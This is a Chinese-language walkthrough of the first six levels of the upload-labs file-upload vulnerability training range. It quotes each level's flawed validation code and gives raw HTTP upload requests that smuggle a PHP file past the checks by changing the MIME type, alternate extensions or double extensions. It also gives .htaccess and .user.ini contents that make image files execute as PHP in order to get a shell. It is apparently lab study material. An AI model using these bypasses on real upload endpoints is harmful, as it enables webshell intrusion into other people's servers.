upload-labs靶场小计
Introduction:
- Repo Address: https://github.com/c0ny1/upload-labs
- Description:upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。
正文开始
Pass-01
源码分析:
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
在源码中我们可以看到其在客户端使用了js对不合法图片进行了检查,因此只需要在Firefox浏览器中禁用js即可绕过
Pass-02
源码分析:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
在源码的type
一处我们得知其对文件的类型做了限制,我们可以用BurpSuite或Yakit把数据包拉下来,然后将文件类型修改为对应的类型即可绕过
payload:
POST /upload-labs/Pass-02/index.php HTTP/1.1
Host: 127.0.0.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US,en;q=0.9
Sec-Fetch-Mode: navigate
sec-ch-ua-mobile: ?0
Sec-Fetch-Dest: document
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Referer: http://127.0.0.1/upload-labs/Pass-02/index.php
Origin: http://127.0.0.1
Sec-Fetch-User: ?1
Sec-Fetch-Site: same-origin
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9OENpdlcocFeQ6oY
sec-ch-ua: "Google Chrome";v="137", "Chromium";v="137", "Not/A)Brand";v="24"
sec-ch-ua-platform: "Windows"
Content-Length: 325
------WebKitFormBoundary9OENpdlcocFeQ6oY
Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php"
Content-Type: image/png
<?php phpinfo(); ?>
------WebKitFormBoundary9OENpdlcocFeQ6oY
Content-Disposition: form-data; name="submit"
------WebKitFormBoundary9OENpdlcocFeQ6oY--
Pass-03
源码分析:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
观察后发现其仅过滤了asp
,aspx
,php
和jsp
这四种后缀名,这里举一个例子php
->phtml
以混淆视听
payload:
POST /upload-labs/Pass-03/index.php HTTP/1.1
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
Sec-Fetch-User: ?1
Referer: http://127.0.0.1/upload-labs/Pass-03/index.php
Sec-Fetch-Dest: document
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAl4mS15DQA2JvZiO
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br, zstd
Origin: http://127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Mode: navigate
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Sec-Fetch-Site: same-origin
sec-ch-ua: "Google Chrome";v="137", "Chromium";v="137", "Not/A)Brand";v="24"
sec-ch-ua-platform: "Windows"
Content-Length: 325
------WebKitFormBoundaryAl4mS15DQA2JvZiO
Content-Disposition: form-data; name="upload_file"; filename="phpinfo.Phtml"
Content-Type: application/octet-stream
<?php phpinfo(); ?>
------WebKitFormBoundaryAl4mS15DQA2JvZiO
Content-Disposition: form-data; name="submit"
------WebKitFormBoundaryAl4mS15DQA2JvZiO--
Pass-04
源码分析:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
在这里我们可以观察出其过滤了很多后缀名,其次转换大小写
使得我们无法通过混淆大小写以绕过,但是其中的去除字符串::$DATA
和收尾去空
使得我们可以用类似于双后缀的方法绕过,这样它会把后面那个后缀吃掉而只保留前面的后缀,且只验证被吃掉的那个后缀,最终成功解析
POST /upload-labs/Pass-04/index.php HTTP/1.1
Host: 127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVUBAzK6LwIFArjzI
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Accept-Language: en-US,en;q=0.9
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
sec-ch-ua-platform: "Windows"
Referer: http://127.0.0.1/upload-labs/Pass-04/index.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
sec-ch-ua: "Google Chrome";v="137", "Chromium";v="137", "Not/A)Brand";v="24"
Sec-Fetch-Site: same-origin
Origin: http://127.0.0.1
sec-ch-ua-mobile: ?0
Accept-Encoding: gzip, deflate, br, zstd
Content-Length: 325
------WebKitFormBoundaryVUBAzK6LwIFArjzI
Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php.jpg"
Content-Type: application/octet-stream
<?php phpinfo(); ?>
------WebKitFormBoundaryVUBAzK6LwIFArjzI
Content-Disposition: form-data; name="submit"
------WebKitFormBoundaryVUBAzK6LwIFArjzI--
在此我们认识到了一个更加有效的对抗文件上传漏洞的方案——以白名单代替黑名单
Pass-05
源码分析:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
这里我们乍一看跟上面第四关的源码好像是一摸一样的,但是其pass的思路不大相同,再看看提示
提示:上传目录存在php文件(readme.php)
笔者的第一想法可能是设计”文件包含(include)”,有了大致思路我们可以再想想应该如何去include这个存在我们的一句话或者是phpinfo的文件并将其正常解析,以传统的经验来看我们可以尝试着上传.htaccess
文件,以下笔者在此阐述什么是.htaccess
文件以及为什么要这样去做
首先看看ChatGPT给出的解释
于是我们得知:.htaccess
是运行 Apache(以及兼容服务器,如 LiteSpeed)的 Web 服务器使用的配置文件,用于控制服务器行为的各个方面
既然它可以控制服务器,而上传点又未进行过滤,于是我们可以构造出内容为以下的.htaccess
文件
<FilesMatch "test.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
这个文件的内容的意思是告诉Apache
当检测到test.jpg
文件时,将该文件按照php
去解析,于是可以通过此方法getshell
Pass-06
源码分析
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
我们可以在里面发现其在第五关的基础上还过滤了htaccess
文件,但是还是有方法解析,在此笔者介绍一个方法,使用.user.ini
.user.ini
文件是一个 PHP 配置文件,主要用于共享主机环境(例如基于 cPanel 的服务器),它允许按目录覆盖 PHP 配置,类似于 .htaccess
对 Apache
的工作方式
因此我们的知.user.ini
的功能大致和.htaccess
的作用是一样的,都能够实现对服务器主机的一些操作,于是我们构造以下内容的.user.ini
文件
auto_prepend_file=666.jpg
这个文件的内容的意思是,所有的PHP都自动包含666.jpg
文件,于是这样就构成了文件包含(file_include)漏洞,最终实现解析。
这次小计的内容到此结束,通过以上和后面的剩余关卡,大致总结出的思路有:前端、多后缀/后缀混淆、大小写、上传配置文件和各类图片马制作以构造文件包含漏洞实现解析,进一步getshell